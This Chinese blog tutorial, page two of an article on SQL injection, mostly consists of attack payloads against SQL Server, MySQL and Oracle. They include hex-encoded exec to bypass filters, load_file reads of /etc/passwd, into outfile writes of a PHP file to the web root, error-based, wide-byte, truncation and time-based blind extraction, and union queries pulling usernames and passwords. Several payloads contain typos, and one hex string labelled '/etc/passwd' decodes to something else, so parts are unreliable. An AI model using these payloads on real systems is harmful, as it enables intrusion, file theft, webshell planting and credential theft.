sql注入的三种方式是什么?


当前第2页 返回上一页

也可以通过定义十六进制的 SQL 语句,使用 exec 函数执行。大部分 Web 应用程序和防火墙都过滤了单引号,利用 exec 执行十六进制 SQL 语句可以突破很多防火墙及防注入程序,如:

1

2

3

declare @query varchar(888)

select @query=0x73656C6563742031

exec(@query)

或者:
declare/**/@query/**/varchar(888)/**/select/**/@query=0x73656C6563742031/**/exec(@query)

MySQL

前面详细讲述了 SQL Server 的注入过程,在注入其他数据库时,基本思路是相同的,只不过两者使用的函数或者是语句稍有差异

1. MySQL 中的注释

MySQL 支持以下 3 中注释风格:

  • “#”: 注释从 “#” 到行尾
  • "-- " :注释从 “-- ”序列到行位,需要注意的是使用此注释时,后面需要跟上空格
  • /**/:注释从 /* 到 */ 之间的字符

2. 获取元数据

MySQL 5.0 及其以上版本提供了 INFORMATION_SCHEMA,这是一个信息数据库,它提供了访问数据库元数据的方式。下面介绍如何从中读取数据库名称、表名称以及列名称。

① 查询用户数据库名称
SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA
INFORMATION_SCHEMA.SCHEMATA 表提供了关于数据库的信息。

②查询当前数据表
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = (SELECT DATABASE())
INFORMATION_SCHEMA.TABLES 表给出了数据库中表的信息。

③查询指定表的所有字段
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '***'
INFORMATION_SCHEMA.COLUMNS 表中给出了表中的列信息。

3. UNION 查询

与 SQL Server 大致相同,此处不赘述。

4. MySQL 函数利用

无论是 MySQL、Oracle 还是其他数据库都内置了许多系统函数,这些数据库函数都非常类似,接下来介绍一些对渗透测试人员很有帮助的 MySQL 函数。

① load_file() 函数读文件操作

MySQL 提供了 load_file() 函数,可以帮助用户快速读取文件,但文件的位置必须在服务器上,文件必须为绝对路径,且用户必须有 FILE 权限,文件容量也必须小于 max_allowed_packet 字节 (默认为 16MB,最大为 1GB)。

SQL 语句如下:
UNION SELECT 1, load_file('/etc/passwd'), 3, 4 #

通常一些防注入语句不允许单引号出现,那么可以使用一下语句绕过:
UNION SELECT 1, load_file(0x2F6561342F706173737764), 3, 4 #
“0x2F6561342F706173737764” 为 “/etc/passwd” 的十六进制转换结果。

在浏览器返回数据时,有可能存在乱码问题,那么可以使用 hex() 函数将字符串转换为十六进制数据。

② into outfile 写文件操作

MySQL 提供了向磁盘写文件的操作,与 load_file() 一样,必须有 FILE 权限,并且文件必须为全路径名称。

写入文件:
SELECT '<?php phpinfo();?>' into oufile 'C:\wwwroot\1.php'

③ 连接字符串

MySQL 如果需要一次查询多个数据,可以使用 concat() 或 concat_ws() 函数来完成。

SELECT name FROM student WHERE id = 1 UNION SELECT concat(user(), ',', database(), ',', version());

也可以将逗号改用十六进制表示:0x2c

5. MySQL 显错式注入

MySQL 也存在显错式注入,可以像 SQL Server 数据库那样,使用错误提取消息。

① 通过 updatexml 函数执行 SQL 语句

首先了解下updatexml()函数:
updatexml (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称;
第二个参数:XPath_string (Xpath格式的字符串) ,
第三个参数:new_value,String格式,替换查找到的符合条件的数据

SELECT * FROM message WHERE id = 1 and updatexml(1, (concat(0x7c, (SELECT @@version))), 1)
其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,报错,会显示出无法识别的内容:
在这里插入图片描述

② 通过 extractvalue函数
SEELCT * FROM message WHERE id= 1 AND extravtvalue(1, concat(0x7c, (SELECT user())))
同样报错显示出当前用户:
在这里插入图片描述

6. 宽字节注入

宽字节注入是由编码不统一所造成的,这种注入一般出现在 PHP + MySQL中。

在 PHP 配置文件 php.ini 中存在 magic_quotes_gpc 选项,被称为魔术引号,当此选项被打开时,使用 GET、POST、Cookie 所接受的 单引号(’)、双引号(")、反斜线() 和 NULL 字符都会自动加上一个反斜线转义

如下使用 PHP 代码使用 $_GET 接收参数:
在这里插入图片描述

如访问URL:http:/www.xxser.com/Get.php?id=',显示如下:
在这里插入图片描述

单引号'被转义后就变成了\',在 MySQL 中,\'是一个合法的字符,也就没办法闭合单引号,所以,注入类型是字符型时无法构成注入。

但是若是输入:%d5',访问URL:http:/www.xxser.com/Get.php?id=%d5',显示如下:
在这里插入图片描述
可以发现,这次单引号没有被转义,这样就可以突破 PHP 转义,继续闭合 SQL 语句进行 SQL 注入。

7. MySQL 长字符截断

MySQL 超长字符截断又名 “SQL-Column-Truncation”。
在 MySQL 中的一个设置里有一个 sql_mode 选项,当 sql_mode 设置为 default 时,即没有开启 STRICT――ALL_TABLES 选项时,MySQL 对插入超长的值只会提示 waring,而不是 error。

假设有一张表如下:
在这里插入图片描述
username 字段的长度为 7。

分别插入一下 SQL 语句:
① 插入正常 SQL 语句:
INSERT users(id, username, password) VALUES(1, 'admin', 'admin');
在这里插入图片描述
成功插入。

② 插入错误的 SQL 语句,使 username 字段的长度超过7:
INSERT users(id, username, password) VALUES(2, 'admin ', 'admin');
在这里插入图片描述
虽然有警告,但是成功插入了。

③ 再尝试插入一条错误的 SQL 语句,长度同一超过原有的规定长度:
INSERT users(id, username, password) VALUES(3, 'admin x), 'admin;
在这里插入图片描述

查询数据库:
在这里插入图片描述
可以看到,三条数据都被插入到数据库中,但是值发生了变化。在默认情况下,如果数据超出默认长度,MySQL 会将其阶段。

但是这样怎么攻击呢?通过查询用户名为 admin 的用户:
在这里插入图片描述
可以发现,只查询用户名为 admin 的用户,但是另外两个长度不一致的 admin 用户也被查询出,这样就会造成一些安全问题。

比如有一处管理员登录时这样判断的:
$sql = "SELECT count(*) FROM users WHERE username = 'admin' AND password = '***'";

那么攻击者只需要注册一个长度超过规定长度的用户名“admin ”即可轻易进入后台管理页面。

8. 延时注入

延时注入属于盲注技术的一种,是一种基于时间差异的注入技术。下面以 MySQL 为例介绍延时注入。

在 MySQL 中有一个函数:sleep(duration),这个函数意思是在 duration 参数给定数秒后运行语句,如下 SQL 语句:
SELECT * FROM users WHERE id = 1 AND sleep(3)
就是将在 3 秒后执行该 SQL 语句。

可以使用这个函数来判断 URL 是否存在 SQL 注入漏洞,步骤如下:
在这里插入图片描述
通过页面返回的世界可以断定,DBMS 执行了 and sleep(3) 语句,这样一来就可以判断出 URL 存在 SQL 注入漏洞。

然后通过 sleep() 函数还可以读出数据,但需要其他函数的配合,步骤如下:
①查询当前用户,并取得字符串长度
执行SQL 语句:
AND if(length(user()) = 0, sleep(3), 1)
如果出现 3 秒延时,就可以判断出 user 字符串长度,注入时通常会采用折半算法减少判断。

② 截取字符串第一个字符,并转换为 ASCII 码
AND if(hex(mid(user(), 1, 1)) = 1, sleep(3), 1)
AND if(hex(mid(user(), 1, 1)) = 2, sleep(3), 1)
……
不断更换 ASCII 码直到出现延时 3 秒就可以猜测出第一个字符。

③ 递归截取字符串每一个字符,分别于 ASCII 码比较
AND if(hex(mid(user(), L, 1)) = N, sleep(3), 1)
注:L 的位置代表字符串的第几个字符,N 的位置代表 ASCII 码。

不仅在 MySQL 中存在延时函数,在 SQL Server、Oracle 等数据库中也都存在类似功能的函数,如 SQL Server 的 waitfor delay、Oracle 中的 DBMS_LOCK.SLEEP 等函数。

Oracle

1. 获取元数据

Oracle 也支持查询元数据,下面是 Oracle 注入常用的元数据视图:
① user_tablespaces 视图,查看表空间
SELECT tablespace_name FROM user_tablespaces

② user_tables 视图,查看当前用户的所有表
SELECT table_name FROM user_tables WHERE rownum = 1

③ user_tab_columns 视图,查看当前用户的所有列,如查询 user 表的所有列:
SELECT column_name FROM user_tab_columns WHERE table_name = 'users'

④ all_users 视图,查看 ORacle 数据库的所有用户
SELECT username FROM all_users

⑤ user_objects 视图,查看当前用户的所有对象 (表名称、约束、索引)
SELECT object_name FROM user_objects

2. UNION 查询

Oracle 与 MySQL 一样不支持多语句执行,不像 SQL Server 那样可以用分号隔开从而注入多条 SQL 语句。

①获取列的总数
获取列总数方法与前面两种数据库类似,依然可以使用 ORDER BY 子句来完成。

另一种方法是利用 UNION 关键字来确定,但是 Oracle 规定,每次查询时后面必须跟表的名称,否则查询将不成立

在 Oracle 中可以使用:
UNION SELECT null, null, null …… FROM dual
这里的 dual 是 Oracle 中的虚拟表,在不知道数据库中存在哪些表的情况下,可以使用此表作为查询表。

然后获取非数字类型列,即可以显示出信息的列:
UNION SELECT 'null', null, null, …… FROM dual
UNION SELECT null, 'null', null, …… FROM dual

把每一位的 null 依次用单引号 ’ 引起来,如果报错,则不是字符串类型的列;如果返回正常,则是字符串类型的列,就可以在相应的位置插入查询语句获取信息。

② 获取敏感信息
常见的敏感信息如下:

  • 当前用户权限:SELECT * FROM session_roles
  • 当前数据库版本:SELECT banner FROM sys.v_$version WHERE rownum = 1
  • 服务器出口 IP:用utl_http.request 可以实现
  • 服务器监听 IP:SELECT utl_inaddr.get_host_address FROM dual
  • 服务器操作系统:SELECT member FROM v$logfile WHERE rownum = 1
  • 服务器 SID:SELECT instance_name FROM v$instance
  • 当前连接用户:SELECT SYS_CONTEXT('USERENV', 'CURRENT_USER') FROM dual

③ 获取数据库表及其内容
在得知表的列数之后,可以通过查询元数据的方式查询表名称、列名称,然后查询数据,如:
http://www.aaa.org/new.jsp?id=1 UNION SELECT username, password, null FROM users --
注意:在查询数据时同样要注意数据类型,否则无法查询,只能一一测试,改变参数的查询位置。

以上就是sql注入的三种方式是什么?的详细内容,更多文章请关注木庄网络博客

返回前面的内容

相关阅读 >>

SQL注入的三种方式是什么?

SQL注入是什么意思

SQL注入防御的方法有哪些

更多相关阅读请进入《SQL注入》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...